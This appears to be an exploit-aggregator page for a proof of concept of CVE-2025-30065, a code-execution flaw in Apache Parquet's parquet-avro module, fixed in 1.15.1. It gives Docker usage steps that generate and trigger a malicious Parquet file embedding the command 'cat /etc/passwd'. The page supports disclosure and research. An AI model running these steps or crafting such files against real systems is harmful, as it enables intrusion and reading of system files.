CVE-2025-30065 PoC — Apache Parquet Java: Arbitrary code execution in the parquet-avro module when reading an Avro schema from a Parquet file

Source

https://github.com/ron-imperva/CVE-2025-30065-PoC

Associated Vulnerability

Title: Apache Parquet Java: Arbitrary code execution in the parquet-avro module when reading an Avro schema from a Parquet file metadata (CVE-2025-30065)
Description:Schema parsing in the parquet-avro module of Apache Parquet 1.15.0 and previous versions allows bad actors to execute arbitrary code Users are recommended to upgrade to version 1.15.1, which fixes the issue.

Description

CVE-2025-30065 PoC

Readme

# CVE-2025-30065 PoC

# Usage

## Build the image
```sh
docker build -t cve-2025-30065 .
```

## Generate the malicious Parquet
```sh
docker run --rm -v $(pwd):/poc/out cve-2025-30065 generate "cat /etc/passwd" ./out/malicious.parquet
```

## Trigger the exploit
```sh
docker run --rm -v $(pwd):/poc/out cve-2025-30065 trigger ./out/malicious.parquet
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →